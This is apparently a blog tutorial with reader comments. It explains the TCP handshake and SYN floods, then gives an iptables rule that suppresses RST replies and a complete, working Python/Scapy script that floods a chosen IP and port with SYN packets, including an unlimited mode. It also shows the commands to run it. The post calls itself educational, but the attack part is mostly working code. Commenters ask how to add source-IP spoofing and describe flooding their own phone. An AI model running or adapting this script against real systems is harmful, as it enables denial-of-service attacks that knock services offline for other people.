SYN Flooding with Scapy and Python

What is a SYN flood?

When a connection is made from client to server through TCP it is initialized with a three way handshake. Each of the 3 stages of the handshake sends a different type of TCP segment across the network.

  1. Client sends SYN (synchronize) to server
  2. Server sends SYN-ACK (synchronize Acknowledgement) back to the client
  3. Client sends ACK back to server

This 3 way handshake establishes the rest of the connection between the client and server.
When performing a SYN flood you’re only completing the first two parts of the three way handshake. A request is made with the server to synchronise. The server Acknowledges the synchronisation but no acknowledgement from the client to the server is sent back. This causes the server to have half open connections which can result in a denial of service if the process is repeated and replicated by multiple machines.

Initial setup

By default the Linux kernel sends an RST in response to a SYN-ACK received from the server. This is because of a lack of communication between scapy and the kernel. You can read more about it Here. For this reason an IPTABLES rule needs to be created to block any outgoing RST packets.

sudo iptables -A OUTPUT -p tcp -s 192.168.1.89 –tcp-flags RST RST -j DROP

(the IP address 192.168.1.89 is the source address, the local IP address)

My Python Script

Below is a Python script that implements the scapy program which allows you to both manipulate and send packets. As well as a whole host of other things. It is created purely as an educational tool and shows how Scapy can be implemented into python.

the python script takes 3 arguments.

-d The destination IP address for the SYN packet
-c The amount of SYN packets to send. (enter X for unlimited)
-p The destination port for the SYN packet

As it uses the send function in scapy it must be run as root user.

Examples:

sudo python synflood.py -d 192.168.1.85 -c x -p 80

This will send a constant SYN flood to the ip address 192.168.1.85 and to port 80.

sudo python synflood.py -d 192.168.1.85 -c 100 -p 80

This will send 100 SYN segments to 192.168.1.85 on port 80.

The script sets the source IP to your local IP. The source port is randomised.

import sys
import random
import logging # This and the following line are used to omit the IPv6 error displayed by importing scapy.
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import argparse
import os
import urllib2
if os.getuid() != 0: # Checks to see if the user running the script is root.
    print("You need to run this program as root for it to function correctly.")
    sys.exit(1)
parser = argparse.ArgumentParser(description='This educational tool sends SYN requests to the target specified in the arguments.') # This and preceding 4 lines used to control the arguments entered in the CLI.
parser.add_argument('-d', action="store",dest='source', help='The destination IP address for the SYN packet')
parser.add_argument('-c', action="store",dest='count', help='The amount of SYN packets to send. (enter X for unlimited)')
parser.add_argument('-p', action="store",dest='port', help='The destination port for the SYN packet')
args = parser.parse_args()
if len(sys.argv) == 1: # Forces the help text to be displayed if no arguments are entered
    parser.print_help()
    sys.exit(1)
args = vars(args) # converts the arguments into dictionary format for easier retrieval.
iterationCount = 0 # variable used to control the while loop for the amount of times a packet is sent.
if args['count'] == "X" or args['count'] == "x": # If the user entered an X or x into the count argument (wants unlimited SYN segments sent)
    while (1 == 1):
        a=IP(dst=args['source'])/TCP(flags="S",  sport=RandShort(),  dport=int(args['port'])) # Creates the packet and assigns it to variable a
        send(a,  verbose=0) # Sends the Packet
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " Packet Sent")
else: # executed if the user defined an amount of segments to send.
    while iterationCount < int(args['count']):
        a=IP(dst=args['source'])/TCP(flags="S", sport=RandShort(), dport=int(args['port'])) # Creates the packet and assigns it to variable a
        send(a,  verbose=0) # Sends the Packet
        iterationCount = iterationCount + 1
        print(str(iterationCount) + " Packet Sent")
print("All packets successfully sent.")

The Results
When the script is executed the packets are sent to the destination IP address. This can be viewed in wireshark. note the random ports which appear on each packet.

The target was a Backtrack 5 R2 virtual machine which was running an Apache web server on port 80. By entering the command “netstat -at” you can view all listening TCP ports.
As you can see from the screenshot there are 10 listening TCP ports which have been created because of the 10 SYN segments that were sent previously.

You can get more information about scapy at http://www.secdev.org/projects/scapy/ You can read an advisory for the TCP SYN attack at http://www.securityfocus.com/advisories/1422

6 thoughts on “SYN Flooding with Scapy and Python

  1. Avirudh

    Hi James,

    i was wondering if this attack will work in mininet. Mininet does use python for their scripts so was just curious.

    Thanks !

     
  2. abdelwahhab ramadan

    hello james , i want to thank you for the important information that you have mentioned in this article >>>
    but i want to ask you , what if i want a random IP generation for the source IP address , what i should change to do this in your script ???

     
  3. skrm

    okay okay. solved this on kali linux 2016 :))) heres the code

    iptables -A OUTPUT -p tcp –tcp-flags RST RST -s 192.168.1.108 -j DROP

    notice how –tcp-flags come first before the source 🙂
    #non working code for me which says RST bad args.
    iptables -A OUTPUT -p tcp -s 192.168.1.89 –tcp-flags RST RST -j DROP

     
  4. Flood

    Hi, I am having trouble getting it to work. I am trying to syn-flood my mobile (on same LAN) but it sends me a RST, ACK immediately. Seems to be about bad checksum.

    .5 is the “flooder” and .235 the phone.

    192.168.1.235 192.168.1.5 TCP 64 80?62748 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 [ETHERNET FRAME CHECK SEQUENCE INCORRECT]

    Frame check sequence: 0x00000000 [incorrect, should be 0xc08f0117]

    Any clue what could be wrong?

     
  5. Akeno Morrell

    Hi i tried to run your code and had to make modification to scapy from scapy import * which imports all after installing scapy on my com
    second it telling me IP not defined when using “python synflood.py -d 192.168.1.85 -c 100 -p 80” to run the code

     

Leave a Reply

Your email address will not be published. Required fields are marked *